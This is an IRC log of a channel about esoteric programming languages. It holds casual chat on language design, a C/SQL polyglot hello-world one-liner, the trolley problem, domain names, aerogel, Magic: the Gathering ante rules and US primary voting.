whether to accept such a no, is somewhat of a cultural collision even inside norway. although not anywhere i recall being. 00:47:42 in some communities you're supposed to say no several times before accepting. 00:48:20 (and of course this is an international mess) 00:48:59 which leads to the case where you might want more food, be polite in your way, and the host might interpret it as a final no. 00:49:53 oerjan: I have that problem in Sweden, as well. I don't want to imply that I didn't like the food, but I don't want to be a glutton 00:50:35 * oerjan has been known to take the last piece of cake hth hth 00:50:46 Though I have that problem everywhere. Except at home, I guess. Only God can judge the amount of pork I eat at home 00:51:09 i want to make a interpreter for N--, how should i handle the variable system? http://esolangs.org/wiki/N-- 00:51:10 The last piece of cake? You're a real monster, and no mistake 00:51:17 *MWAHAHAHA* 00:51:37 dammit, double hth again 00:52:15 moon_: Start by making them immutable, then tweak accordingly. :D 00:52:24 in C 00:53:18 <\oren\> I've now booked my hotel. I'm staying in a capsule hotel 00:53:44 <\oren\> 180 CAD for 7 nights 00:53:53 moon_: Do as I said in C. Then `sed 's/const//g' yourfile.c` 00:53:59 Done 00:54:02 Programming is so easy~ 00:54:15 \oren\: That's quite a good rate 00:54:40 I usually pay upwards of a thousand USD, and that's at a hotel that likes me o.o 00:55:08 <\oren\> Well, a capsule hotel is a hotel that is very... minimal 00:55:12 ill just use a 2d array: vartable[26][26] 00:55:22 Yes, I believe I remember seeing pictures 00:55:35 I hope your neighbors aren't too amorous 00:55:53 oerjan: Why do you keep a de-hthing script if you just work around it all the time? 00:56:07 <\oren\> There are separate floors for men-only and women-only 00:56:33 \oren\: That only increases the allure 00:56:39 -!- MoALTz has joined. 00:56:47 Breaking rules is v sexy, as I understand it 00:57:20 Or not breaking rules, if that's the preference 00:57:28 <\oren\> anyway if they want to do that there atre love hotels that give you a nice soft bed 00:57:47 I imagine claustrophiles having a lovely time 00:58:06 <\oren\> aaagh 00:58:09 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 00:58:30 In any case, what brings you to Tokyo? 00:58:36 Other than a plane, one imagines 00:58:55 shachaf: nostalgia 00:59:17 oerjan: I figured. :-( 01:01:31 how do i convert a letter to its respective place in the alphabet? 01:02:30 moon_: l & 32 01:02:33 er 01:02:37 nvm 01:02:39 * l & 31 01:03:47 in ascii, that is. if you're using ebcdic you're on your own. 01:04:42 Though you can say that in just about any situation 01:05:13 -!- Frooxius has quit (Quit: *bubbles away*). 01:05:24 * oerjan imagines prooftechnique's line being self-referential. 01:08:41 -!- Frooxius has joined. 01:10:47 -!- ais523 has joined. 01:13:28 (Wikipedia doesn't hate fun, right?) <-- you were being sarcastic, right? 01:14:00 it definitely hates fun in the main article namespace, and only somewhat tolerates it elsewhere. 01:14:59 although the "Did you know" section on the front page seems to have misleading descriptions on occasion, and not just on April 1. 01:15:51 wait are you 1 hour idle and still not pinged out 01:16:11 * oerjan needs to tweak his idle detection algorithm 01:17:21 helloerjan 01:17:37 N-- will soon have a interpreter 01:17:40 quevenintopia 01:18:06 that porthello makes me nauseated for some reason 01:18:18 it sounds even grosser than "queef" 01:18:39 quite. 01:19:57 * oerjan now regrets looking that up 01:20:01 i can't come to work, boss. I'm quevening all over the bathroom floor! 01:24:40 Quevening sounds like a very reasonable excuse 01:29:25 -!- callforjudgement has joined. 01:29:31 -!- ais523 has quit (Disconnected by services). 01:29:33 -!- callforjudgement has changed nick to ais523. 01:48:16 oerjan: I'm here 01:48:50 hia hppa 01:49:05 Oh, now I'm gone 01:49:06 did you look at my new esolang? its not singlechar and has a syntax 01:49:12 moon_: Where? 01:49:23 http://esolangs.org/wiki/Fumble 01:50:04 moon_: Wiki pages should not be in first-person 01:50:16 moon_: They should be third-person with a touch of second-person when necessary 01:50:42 Ponies are very turbing. 01:50:42 Occasional 4th person for the purpose of reducing ambiguity 01:50:52 prooftechnique: 4th? 01:50:55 Sorry, Im not the best writer 01:51:03 moon_: Nobody is 01:51:16 hppavilion[1]: https://en.wikipedia.org/wiki/Grammatical_person#Additional_persons 01:51:29 moon_: The best writer is obviously Voltaire hth 01:51:45 checks out 01:52:28 lol 01:52:35 well what do you think of it, tho? 01:52:36 prooftechnique: Ah, yes, "one" works too, though I prefer to call that zeroth person 01:52:45 Because it doesn't really matter who "one" is 01:52:50 moon_: Not sure 01:52:57 moon_: I stopped when I saw an uncapitalized "i" 01:53:00 hppavilion[1]: Non-English languages have other persons beyond the indefinite one 01:53:04 ... 01:53:08 >_> 01:53:11 just read it all 01:53:31 They have thing like "him" but also "him, but closer to me than that other one" 01:53:45 moon_: Also, there are code excerpts that aren't in monospace, and that drives me crazy 01:53:49 Where closer is either due to proximity or some intangible quality 01:53:56 moon_: I think that this is a first draft for the moment. 01:54:03 >_> 01:54:18 I wonder how much of a language could be implemented in MS Word formatting codes 01:54:25 Monospace strictly forbidden 01:54:27 prooftechnique: Which kind of language? 01:54:46 moon_: No, really. It isn't properly formated, so it's very difficult to read 01:54:52 -!- sebbu has quit (Ping timeout: 272 seconds). 01:55:00 It's like trying to read a book in a mirror 01:57:22 moon_: I forgot what your language is called. Link? 01:57:36 Oh, found it 01:58:33 hppavilion[1]: Set your default font to monospace, hth 01:59:09 prooftechnique: Too much work 01:59:22 Literally one switch in your browser :P 01:59:41 Though all these unintended ligatures are a bit odd :D 02:00:25 http://esolangs.org/wiki/Fumble 02:02:56 Monty Hall Trolley Problem. 02:02:58 Huh. 02:04:23 hppavilion[1]: I assume that there's an out-of-control trolleycar which you can direct onto one of three tracks by changing points 02:04:38 and you know that two of the tracks are blocked by people 02:04:39 ais523: Yes 02:04:47 ais523: Correct 02:04:55 after you move the points, someone who can see the tracks tells you that one of the tracks you didn't pick has a person on it 02:05:03 ais523: Or, more accurately, there are more people on one track than on the other two 02:05:03 do you change the points to the other unknown track? 02:05:13 ais523: Pretty much exactly 02:05:16 no, has to be more on two than the other one 02:05:33 ais523: Ah, that works too 02:05:35 monty hall problem requires one desirable outcome and two undesirable outcomes to work 02:05:42 if you have two desirable and one undesirable 02:06:00 then either the host tells you about the undesirable outcome and it doesn't matter whether you switch, it's desirable either way 02:06:00 ais523: Wait, hm... 02:06:03 Do any of the tracks have something that can stop the train? 02:06:06 or the host tells you about a desirable outcome, in which case you just take it 02:06:19 zzo38: in this problem, people normally assume no 02:06:24 although that's unrealistic 02:06:37 "OK, you chose door C. Now we're going to open door A, which has a goat. Would you like to switch doors?" 02:06:41 "Yes, I'll take door A" 02:06:44 as the problem involves a set of points, and you have a decent chance of being able to stop a train by changing the points setting while the train is over the points 02:07:30 I guess the points could have a safety feature that prevents them being changed when a train is nearby 02:07:44 -!- Phantom_Hoover has quit (Quit: Leaving). 02:08:04 that problem gae me anothe esolang idea, one powered by trains and points 02:08:12 this actually happened in the london underground runaway that's possibly the closest real life has come to the trolley problem (as a bonus, nobody was hurt, although nobody had enough information to know that that would be the outcome) 02:08:22 moon_: Actually, I have the patent rights to that esolang idea. 02:08:30 You're all ignoring the obvious. Take a plane instead and you won't have to deal with this conundrum 02:08:34 oh 02:08:37 ): 02:09:12 prooftechnique: But how do we kill people and make it look like an accident or the-best-of-a-bad-situation when it's a plane? 02:09:23 "Water landing" 02:09:52 Hm... The trolley problem becomes a lot more complicated when you know the person you can switch to AND you have reason to hate them- say, your spouse had an affair with them 02:10:06 Because then it seems like you could conceivably charge it as murder 02:10:23 Even more complicated if you care more about their happiness than about their fidelity 02:12:03 Hm... 02:12:07 You know what'd be great? 02:12:19 An IRC client that makes you trade nicks with other people using that client at random 02:12:24 And doesn't tell you 02:12:28 here: https://assets.digital.cabinet-office.gov.uk/media/547c8feae5274a428d00015b/R092011_110615_Highgate.pdf 02:12:30 And masks everything so you can't tell 02:12:42 (even messages mentioning that person get substituted for your nick) 02:12:50 the basic summary is that a an engineering train ran away on the london underground 02:13:06 and the signallers went to a lot of effort to move all the other trains out of its path 02:13:11 .mil.va 02:13:12 Hmm, neuron based esolang... 02:13:22 prooftechnique: That sounds like a very annoying IRC client 02:13:30 If your name is a common word, then it is something else. 02:13:57 zzo38: We hate those people though 02:14:53 #tromp2016+4i 02:15:32 Hm... who regulates people using the .va domain? 02:15:40 ccTLD 02:15:46 -!- heroux has quit (Ping timeout: 244 seconds). 02:15:50 Vatican, maybe? 02:16:01 Oh, "it is administered by the Internet Office of the Holy See." 02:16:33 -!- heroux has joined. 02:16:45 -!- ais523 has quit (Remote host closed the connection). 02:17:10 Damn, I was hoping to get my hands on porn.va and use it to offend every catholic everywhere 02:17:29 I think it would be nice to get no.va 02:17:54 -!- ais523 has joined. 02:17:54 I would host a language to serve as a direct counterpoint to Go 02:18:16 Though it would also be great for hosting pirated PBS specials 02:18:33 prooftechnique: Is it even possible to pirate a PBS special? 02:19:16 Is it possible to steal from a non-profit? 02:19:39 Wait, why is Morocco "MA"? 02:19:52 prooftechnique: No? 02:20:12 Of course it is possible to steal from a non-profit. But I don't expect pirating PBS specials for them to lose anything. 02:20:22 zzo38: Well yeah, that's what I meant? 02:20:24 hppavilion[1]: The answer is yes 02:20:29 It's too bad Benin's ccTLD is regulated 02:20:37 hppavilion[1]: Also, maybe it's short for Maghreb? 02:21:34 Or perhaps Marakesh 02:21:53 morocco is marokko in norwegian, anyway. 02:22:05 Ah, nevermind, I found it 02:22:10 https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2#MA 02:22:16 It's from the French, Maroc 02:22:30 Bottom-level domain? 02:27:39 republicans.bs isn't registered :D 02:28:32 I'm extremely disappointed that abcdefghijklmnopqrstuvw.xyz is taken 02:28:55 is it taken by Alphabet, by any chance? 02:29:30 It is not. It is actually taken by xyz.com, a registrar for .xyz domains 02:29:33 No, taken by xyz :P 02:30:12 if only i had a personal website named moon.esoteric lol 02:31:08 I'd be honoring the esoteric channel by that lol 02:31:12 if it as possible 02:32:01 I'm stunned that a .club domain is only 88 cents 02:33:04 select(typeof('\'')x){}/*'))where 0;/*/main(){puts("Hello, World!");}//*/select'Hello, World!'; 02:34:53 try doing that in N-- 02:34:54 lol 02:35:17 zzo38: What language is that? 02:35:24 But abc.xyz is taken by Alphabet. 02:35:27 prooftechnique: What does it look to you? 02:35:47 Perl 02:36:34 No it isn't. (I tried, and it doesn't work.) 02:37:03 Something C flavored, but with a weird SQL aspect 02:37:12 looks esoteric 02:37:31 try searching that in the esolang iki 02:37:50 Nothing 02:37:56 Nothing on Google, either 02:38:11 ^ 02:38:13 zzo38: Where did you find it? 02:38:16 its a mystery 02:38:19 Or did you write it? 02:38:23 I doubt you could search for such a mess on Google effectively anyways. 02:38:28 prooftechnique: I wrote it. 02:38:30 Definitely not 02:38:39 new esolang?! 02:38:41 zzo38: A polyglot, maybe? 02:39:50 prooftechnique: What do you think it is? Maybe you can try to understand by yourself too? 02:42:11 I certainly dont 02:42:31 Do you know any C programming? 02:42:49 I know a reasonable amount, I suppose 02:43:28 Well, look at that 02:43:44 It just prints "Hello, World!". That was what I expected from the Cish bits 02:44:23 Oh, syntax highlighting makes it obvious 02:44:32 It also defines (and then doesn't use) a function called "select" 02:44:59 -!- callforjudgement has joined. 02:45:08 -!- ais523 has quit (Disconnected by services). 02:45:11 -!- callforjudgement has changed nick to ais523. 02:47:01 C one-liners are 02:47:04 ┬─┐┬─┐┐ ┬o┬ o┐─┐┬ ┬ 02:47:04 │ │├─ │┌┘││ │└─┐│─┤ 02:47:04 ┆─┘┴─┘└┘ ┆┆─┘┆──┘┆ ┴ 02:48:52 i think the other language is SQL 02:49:19 -!- ais523 has quit (Read error: Connection reset by peer). 02:49:55 and it works because they treat '\'' differently, so C thinks that's one char but SQL continues with a string to the next ' 02:51:12 Hm... A programming language where the code is the color and the markup is the text? 02:51:21 (reverse syntax highlighting) 02:51:34 hppavilion[1]: They have that, it's called ColorForth 02:51:51 oerjan: I think most SQL dialects will choke on typeof 02:52:28 prooftechnique: oh hm... 02:52:46 maybe it doesn't care what's inside because of the "where 0"? 02:53:18 There is a "typeof" function in SQLite at least. 02:53:44 ok 02:54:13 Oh, it does work in SQLite! 02:54:15 Very cool 02:55:19 It can be shortened by moving the zero 02:55:33 (by just one byte) 02:56:24 Here is the shortened version: select(typeof('\'')x){}/*'))where/*/main(){puts("Hello, World!");}//*/0;select'Hello, World!'; 02:59:12 -!- bender has joined. 03:19:56 -!- moon_ has quit (Ping timeout: 250 seconds). 03:23:26 -!- J_Arcane_ has joined. 03:25:00 -!- J_Arcane has quit (Ping timeout: 244 seconds). 03:25:06 -!- J_Arcane_ has changed nick to J_Arcane. 03:40:36 -!- TellsTogo has quit (Quit: Page closed). 03:42:36 prooftechnique: Added restriction, no spaces in the one-liner 03:43:42 I mean, that would make it even more fun 03:43:58 That particular one-liner already is almost spaceless, there are only spaces in the strings 03:44:16 So if you're fine with Hello,World! it'd be good 03:50:23 -!- sebbu has joined. 03:53:16 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 04:07:53 `quote 1279 04:08:14 1279) I mean, that's just the bare function. You throw some concurrency primitives in there and you're off to the races 04:08:34 `sled quotes//1279s/ / / 04:08:42 quotes// EgoBot just opened a chat session with me to say "bork bork bork" \ Hmmm... My fingers and tongue seem to be as quick as ever, but my lips have definitely weakened... More practice is in order. \ that's where I got it rocket launch facility gift shop \ GKennethR: he shou 04:08:51 um 04:08:57 `quote 1279 04:08:59 1279) I mean, that's just the bare function. You throw some concurrency primitives in there and you're off to the races 04:27:48 -!- Moon_ has joined. 04:27:52 Hi 04:34:28 -!- Moon_ has quit (Ping timeout: 250 seconds). 04:49:08 <\oren\> `quote 04:49:14 582) where is this going. why is this going. 04:49:26 <\oren\> That Moon_ has a short orbit 05:10:07 Hmm. Apparently I voted differently from at least one member of #esoteric 05:11:30 Voted differently on what? 05:11:47 Who to vote for in the US primaries 05:13:55 OK 05:14:54 How do you know that? 05:15:12 pikhq, because I saw your status + comments on that status 05:15:17 Oh, right. That. :P 05:15:56 * pikhq definitely voted for Sanders, though honestly at this point it's more about messaging-in-polls than anything else. 05:16:12 Odds of Clinton being nominated are like 99.9% or something. 05:16:27 * Sgeo_ voted for Clinton, largely concerned about competence and electability. 05:16:44 I think I've pushed myself in too much of an anti-Bernie bubble 05:17:39 I'm also voting pretty much right at the end of the primary season which means that I know, and vote based on that. 05:18:38 And, honestly, as far as I can tell Bernie is fairly competent and would do reasonably as President. 05:18:46 Now, *electable*, that's a different question entirely. 05:19:13 But not one I need to think about when my vote is effectively just saying "I support more liberal policies from Democratic party". 05:21:53 I will say that I think everyone in both campaigns is disappointed at the thought of lowered turnout 05:24:55 Yeah... I do not like the idea of Trump winning because of lower turnout from Dems. 05:25:09 Especially with potentially 3 different SCOTUS justices up for nomination. 05:26:00 * Sgeo_ meant more acutely lower primary turnout tomorrow because of the nomination being called for Clinton 05:26:08 Ah. Right. 05:35:24 In CA it's kinda important even ignoring the President though; a Senate office is up for election, and the incumbent isn't running. 05:40:04 oerjan> although the "Did you know" section on the front page seems to have misleading descriptions on occasion, and not just on April 1. <-- also puns. like, the last one right now... 05:50:46 -!- Elronnd has changed nick to Elronnd\std. 05:54:10 -!- Elronnd\std has changed nick to Elronnd\StD. 06:02:41 -!- Elronnd\StD has changed nick to Elronnd. 06:12:07 -!- lambda-11235 has quit (Quit: Bye). 06:18:49 -!- TellsTogo has joined. 06:20:28 I have made up the classifications of possible external ante rules for Magic: the Gathering, which are: scoreless-per-duel, scored-per-duel, scoreless-per-match, scored-per-match, scoreless-per-tournament, scored-per-tournament, prize-altering, permanent. (These are just broad classifications, and many formats are possible in each one.) 06:21:14 Do you like this? 06:23:47 Do you score less per duel than ever before? 06:24:56 No. 06:25:56 "Scoreless-per-duel ante" means that all ownership changes end at the end of a duel, and do not further affect the tournament in any way (the only thing that affects it is who won that duel). 06:27:01 Oh, ante rules. 06:27:06 I didn't see that word. 06:27:12 Isn't ante banned? 06:27:41 shachaf: Yes, in all official tournaments, it is not played for ante, and all ante cards are banned. 06:27:58 You're suggesting an illegal tournament? 06:28:00 Permanent ante is not suitable if using borrowed cards or custom cards; the others are suitable even in these cases though. 06:28:24 shachaf: Actually, it does not even necessarily have to be a tournament. 06:28:24 It should be called "permanante". 06:28:33 lol 06:28:35 O, that is what it is called. OK 06:51:25 what's your take on these java api? 06:51:53 ignoring the fact that a good half of the users here are google employees 06:55:19 -!- Kaynato has quit (Ping timeout: 252 seconds). 07:03:30 -!- jaboja has joined. 07:10:33 -!- Destructible has joined. 07:10:41 o hi 07:10:49 is anybody there 07:10:55 if so 07:10:57 brb 07:12:12 hi 07:13:04 izabera: i think that's _possibly_ an exaggeration hth 07:13:18 (i only know two for sure.) 07:13:37 -!- Destructible_ has joined. 07:13:42 anyone? 07:13:44 i can invite a few more to compensate 07:13:54 o hi 07:13:56 hi 07:14:04 izabera: ok, but then they have to know haskell. mustn't upset the balance. 07:14:11 they do 07:14:16 at least one does 07:14:16 good, good 07:14:24 I came up with an resoling, but now I do not know what to call it 07:14:28 esolang* 07:14:38 call it myesolang 07:14:41 -!- hppavilion[1] has joined. 07:14:44 no 07:14:48 Wait, is the TSP NP? 07:14:50 why not 07:15:09 i bet there's no language called myesolang on the wiki 07:15:14 -!- Destructible has quit (Ping timeout: 250 seconds). 07:15:16 exactly 07:15:24 and there isn't going to be 07:15:25 izabera: Because, IIRC, TSP requires you to be able to quickly verify a correct solution 07:15:29 https://esolangs.org/w/index.php?search=myesolang&title=Special:Search&fulltext=Search see? 07:15:34 Oh, you were talking to Destructible_? 07:15:38 yes sorry 07:15:46 No no, I see how it is 07:16:00 you're offended? 07:16:04 What about Visual MyEsoLang++ 07:16:08 ? 07:16:17 izabera: No 07:16:22 . 07:16:34 Cale: Visual MyEsoLang++#? 07:17:13 #Visual #MyEsoLang 07:17:24 * Destructible_ is silently seething 07:17:37 that's either twittertalk or irc but it's not good for a language's name 07:18:45 An esolang based on #hashtags would be vaguely interesting 07:18:54 [wiki] [[Special:Log/newusers]] create * Izabera * New user account 07:19:19 I'd be making that after I actually finished this esolang I already made 07:19:23 esolang 07:19:30 esolang 07:19:51 resoling is what mac thinks resoling should be 07:19:56 The execution of the program depends inextricably on what's trending 07:19:56 izabera: did you... not have a wiki account? 07:19:58 esolang* 07:20:00 i do now 07:20:34 wtf my name has a lowercase i 07:20:39 who's Izabera 07:20:55 izabera: fale? 07:21:00 fale? 07:21:12 -!- jaboja has quit (Ping timeout: 258 seconds). 07:22:21 so, anyway, I still have no idea what to call my esolang 07:22:57 OH MY GOD http://i.imgur.com/R9JoJ9t.gifv IS AMAZING 07:23:12 maybe Vecaret, or 0aret vec0 07:23:30 hppavilion[1]: Are CPP macros Turing complete? Tht could be your hashtag language 07:23:51 *That 07:24:07 hppavilion[1]: what did i just witness? 07:24:32 izabera: Blowing up a dam 07:24:34 prooftechnique: Long story short, "no". 07:24:45 I still need a name for my language though 07:25:16 Though they're close enough that the difference is probably pointless; you can easily get computations that run 'til the heat death, but are technically finite, with CPP macros. 07:25:31 Destructible_: a rose by any other name... 07:25:38 yes 07:25:50 but this is a wiki 07:25:59 and the name is what they see 07:26:11 and it needs to be appropriate 07:26:14 and either way 07:26:23 why does it need to be appropriate? 07:26:29 because 07:26:40 -!- Destructible_ has quit (Quit: Page closed). 07:27:12 -!- augur has joined. 07:27:51 -!- Destructible_wat has joined. 07:28:12 so now you can understand why it needs to be appropriate 07:28:19 Destructible_: Call it ylfkfpqsqmlkhy 07:28:27 ??? 07:28:35 Destructible_wat: Just randomly generate a string and call it that 07:28:38 either way, I have idea 07:29:34 Destructible_wat: ''.join([string.ascii_lowercase[random.randrange(0, len(string.ascii_lowercase))] for _ in (random.randrange(3, 15))]) (python, string and random must be imported) 07:30:21 -!- hppavilion[1] has quit (Quit: Leaving). 07:30:49 -!- hppavilion[1] has joined. 07:33:19 i suggest a new language called heck, which is like hack but closer to its php roots 07:33:33 in fact, every php interpreter is also able to interpret heck 07:33:44 I had idea 07:34:04 Galcveccoq 07:34:17 hppavilion[1]: noice 07:34:20 which is the first letter of each command symbol together 07:34:31 hppavilion[1]: but you could probably use chr() 07:34:41 ? 07:35:37 wtf my name has a lowercase i <-- sorry, capitalization is automatic. there are some workarounds for page titles and signatures. 07:35:49 ''.join([chr(random.randrange(30,500) for _ in random.randrange(3,15)]) 07:35:58 i'm deeply offended 07:36:34 Wait, is the TSP NP? <-- nope, it's not a decision problem. 07:37:07 well, it is NP hard 07:38:04 wait wait 07:38:25 http://magiccards.info/m10/de/202.html http://magiccards.info/10e/de/290.html http://magiccards.info/10e/en/290.html 07:38:35 I think I'll call my language Otal 07:38:48 or 0tal 07:39:01 ()tal 07:39:01 there are German printings of two M:tG cards whose German names are identical, despite that their English names differ, and also this German name is identical to the English name of one of those cards? 07:39:05 is this normal? 07:39:11 I thought this wasn't supposed to happen 07:39:21 zzo38: did you know that? 07:39:58 -!- Destructible_wat has quit (Quit: Page closed). 07:44:27 b_jonas: things that aren't supposed to happen sometimes do hth 07:45:00 hppavilion[1]: one class TSP is in is FP^NP, i.e. polynomial functions with an NP oracle. 07:45:23 although there's probably a slightly weaker one 07:45:39 um 07:45:56 "polynomial function" being a function computable in polynomial time. 07:46:42 MacBook Hydrogen ® 07:46:52 Oh, it corrected from (R). Cool. 07:46:59 the true NP version of TSP is "is there a path shorter than k" 07:47:09 oerjan: are you sure it's not a function with many names hth 07:47:13 Is there any substance less dense than pure Hydrogen 1? 07:47:17 and also NP-complete. 07:48:14 shachaf: I thought that was a polynymic function 07:48:16 hppavilion[1]: hm i recall there was some foam lighter than air. not sure about hydrogen. 07:48:42 oerjan: I know there's aerofoam (or something), but I don't think it's lighter than air; it's just really really light 07:48:45 i think that should be polyonymic. but i'm not sure, it looks ugly. 07:48:51 An anonomyial function is like a polynomial function, but you don't know its degree. 07:49:04 It can't really be lighter than air because it's 99.97% air 07:49:06 Or something like that 07:49:31 hppavilion[1]: i thought they vacuumed it or something? 07:49:42 oerjan: I don't think so? 07:49:50 We're probably just talking about different foams 07:49:58 Aerogel? 07:50:02 * hppavilion[1] . o O ( What an incredibly boring conversation ) 07:50:04 shachaf: Yes, that 07:50:12 I was pretty excited about aerogel a little over a decade ago. 07:50:24 And then I was surprised to find out that a company in the small (~10,000 people) town I lived in made it. 07:50:39 I called them and asked if I could get a sample but they said no. 07:50:54 Awww. 07:51:24 If aerogel were lighter than air it'd *float*. 07:51:38 Maybe if I'd told them I was [redacted] years old they would've taken pity on me. 07:51:39 I seem to remember they actually made versions lighter than air 07:51:43 shachaf: Why'd they say no? 07:51:55 Now I can't say the number because it would reveal my age. 07:52:03 Yes, yes 07:52:06 Presumably because I wasn't offering any money. 07:52:09 b_jonas: Not impossible, but that'd imply they did something like manufacture it in a helium atmosphere. 07:52:17 And it'd float. 07:52:34 shachaf: Ah, that'd be a problem 07:52:48 I think the smallest sample you could buy was $100 or something. 07:53:00 i like the PAD-SAT problem 07:53:10 pikhq: why would they have to manufacture it in a helium atmosphere? that'd be expensive. they'd just manufacture it in rarified air (near vacuum, it doesn't have to be really rare) or rarified nitrogen 07:53:37 I said "something like". 07:53:40 Those would work too. 07:54:11 Today's xkcd title text is amazing 07:54:44 "List of lists of sexually active popes" anyone? 07:55:02 hmm, apparently they do manufacture it in a helium atmosphere, so it gets filled with helium for pressure 07:55:16 that would get expensive 07:55:29 pikhq: Are you still pooching it up? 07:55:52 More or less, yup. 07:56:37 "People handling aerogel for extended periods should wear gloves to prevent the appearance of dry brittle spots on their skin." 07:56:45 Pooching away again in margaritaville. 07:57:05 shachaf: What time is it in Margaritaville ATM? 07:57:37 I think it's in Texas. 07:57:40 Or maybe Nevada. 07:58:04 Oh my god, there's something lighter than aerogel 07:58:10 https://en.wikipedia.org/wiki/Aerographene 07:58:39 Awww, it needs carbon nanotubes 07:58:49 So I probably can't buy some in my conceivable lifetime 08:00:48 I didn't realize that one of aerogel's applications involved menstruation. 08:01:06 shachaf: Why would you want that? Seems like a pretty bad application 08:01:21 Oh, wait, for dealing with it? 08:01:24 That makes more sense 08:01:30 Also how long is an extended period? 08:02:14 shachaf: Isn't that called an "ellipsis"? 08:03:14 In Xanth, an ellipsis is used to summon the stork. 08:03:18 So maybe that's related. 08:08:26 -!- augur has quit (Remote host closed the connection). 08:08:33 shachaf: surely you need 10 periods for a stork, not just 3 08:09:00 uh oh 08:09:05 am i missing one this time 08:11:02 "When a mommy and a daddy love each other very much and want to have a baby, they have sex. They keep having sex, right in front of the stork, until he gives in and puts in a request for a baby delivery to make them stop. Then, 9 months later due to bureaucratic procedures, a baby is delivered" 08:11:30 sounds legit 08:12:31 The best I can think of is that a pregnancy lasts about 9 months, but it must be something else. 08:12:50 I mean a human pregnancy. 08:13:18 shachaf: I think that that was the joke 08:13:37 shachaf: And a period is slightly less than monthly, so about 10 periods are "lost" when a baby is gestating 08:14:14 oerjan: Did I get it right? 08:19:41 hppavilion[1]: yep 08:19:53 YAAAAAAAAAAAAAAAAAAAAAAY 08:20:07 (Fun fact: YAAAAAAAAAAAAAAAAAAAAAAY is a palindrome) 08:20:16 hooooooooooh 08:20:30 fun fact 0 = 1 08:20:39 | fact n = n * fact (n-1) 08:20:54 `? fun fact 08:21:26 fun fact 0 = 1 | fact n = n * fact (n - 1) 08:21:28 fun fact: HackEgo is damn slow 08:22:05 is that supposed to be haskell? 08:22:22 ml 08:22:27 ah 08:22:34 `culprits wisdom/fun fact 08:22:52 myname: clearly ml 08:22:57 oerjan elliott oerjan oerjan oerjan oerjan kmc 08:23:05 i never did ml 08:23:16 `1 hogue wisdom/fun\ fact 08:23:28 1/1: revert \ revert 1 \ sed -i \'s/|/ |/\' wisdom/fun\\ fact \ sed -i \'1N; s/\\n *//\' wisdom/fun\\ fact \ revert \ sed -i \'1N; s/ *//\' wisdom/fun\\ fact \ printf \'fun fact 0 = 1\\n | fact n = n * fact (n - 1)\\n\' > wisdom/fun\\ fact \ 08:23:48 myname: Neither did I 08:24:03 fun lie: THE MOON LANDINGS WERE FAKED 08:26:22 fun fact: i discussed a german translation for "fun fact" with a few people and we decided it to be "ulkiger umstand" 08:26:30 USING ALIEN TECHNOLOGY 08:26:47 meta fun fact 08:26:49 hppavilion[1]: https://www.youtube.com/watch?v=sGXTF6bs1IU 08:26:58 -!- mroman has joined. 08:26:58 fnard 08:27:31 http://mroman.ch/md/htuqqx12.html 08:27:37 10% pixels is way too much :D 08:29:31 When I use xdpyinfo it says there is 96 visuals, and then lists them, all details seem same for each one except some are TrueColor and some are DirectColor, and one of them has 32 planes while the rest have 24. Do you know what is the purpose of the many visuals? 08:30:15 96 isn't a very big number compared to, say, 65536. 08:31:45 glxinfo may give a clue 08:32:33 (though not a complete answer) 08:32:40 * int-e doesn't know the complete answer 08:34:07 zzo38: but there are all different somehow? 08:35:48 -!- xkapastel has quit (Quit: Connection closed for inactivity). 08:35:49 deltab: I don't know! 08:37:32 my guess is it's just the cartesian product of settings that can now vary independently but couldn't when the api was designed 08:37:42 zzo38: Do you know about antifunctions? 08:40:21 No 08:41:13 An antifunction maps an antiset to an antiset. 08:41:24 An antiset might be a set of memory locations, for instance. 08:42:00 Or labels or something. 08:42:08 So an antifunction : A -> B gives meaning to a set of memory locations B in terms of a set of memory locations A. 08:42:13 It can delete and duplicate elements of A. 08:46:59 int-e: nice link 08:52:00 Hm, what are the properties of fnord? 08:52:22 Like, if I say "it is pronounced the same way as phnord", can you still see "phnord" 08:52:32 Hell, if I put it in a sentence, will the word just be missing? 08:53:45 And what if I make a list of every word up to a certain length? Will there just be a blank space where "fnord" should be? Will I be able to see it so I can't tell which one I can't see otherwise? Will it get deleted and all the others moved up? 08:53:59 If the others moved up, couldn't I just infer from which was missing what the word is? 08:58:59 Maybe you should read The Illuminatus! Trilogy. 09:01:34 ...I just realized that you can put a bucket of lava into a wooden chest in minecraft 09:01:39 And nothing bad will ever happen 09:18:08 -!- oerjan has quit (Quit: Nite). 09:34:23 -!- Alcest has joined. 09:37:31 `dateu 09:37:34 2016-06-07 08:37:02.395249000+00:00 09:41:14 -!- TellsTogo has quit (Quit: Page closed). 09:50:25 zzo38: ping 09:51:27 zzo38: in M:tG, there are German printings of two cards whose German names are identical, despite that their English names differ, and also this German name is identical to the English name of one of those cards. this was news to me. do you know this already? and were you horrified when you found out? 09:51:38 zzo38: http://magiccards.info/m10/de/202.html http://magiccards.info/10e/de/290.html //magiccards.info/10e/en/290.html 09:58:08 SPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACE 09:58:15 *coughs* 09:58:16 Excuse me 10:04:51 oerjan: do you know anything about https://en.wikipedia.org/wiki/Homology_(biology) 10:07:04 -!- Phantom_Hoover has joined. 10:08:51 -!- TellsTogo has joined. 11:00:37 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 11:01:40 -!- Koen_ has joined. 11:18:12 -!- bender__ has joined. 11:20:24 -!- bender has quit (Ping timeout: 258 seconds). 11:39:31 -!- Destructible has joined. 11:39:39 hoi 11:40:35 anybody? 11:41:24 -!- Destructible has quit (Client Quit). 11:41:36 -!- boily has joined. 11:44:12 -!- spiette has joined. 11:44:22 -!- Koen_ has quit (Remote host closed the connection). 11:44:38 `wisdom 11:46:10 No output. 11:46:16 what. 11:46:19 `wisdom 11:46:33 grimmargorp//Þór, Grimmargorpurinn hefur sloppið! Ragnarök eru nálæg! 11:48:07 ah! ^^ 11:48:10 `wisdom 11:48:13 impomatic//impomatic never did anything weird enough to get into this database. 11:48:14 -!- hppavilion[1] has joined. 11:48:19 hppavellon[1]! 11:48:26 One of the weird things on the internet is warnings that don't make sense 11:48:29 "Also, be advised that we work closely with law enforcement and we report child exploitation." 11:48:56 That is, "PROTIP: Don't put your child porn here because we'll have to report you to the cops. 11:51:52 -!- J_Arcane has quit (Remote host closed the connection). 11:53:02 i read it as "don't put your child porn here because we got into troubles last time" 11:54:23 izabera: That works too 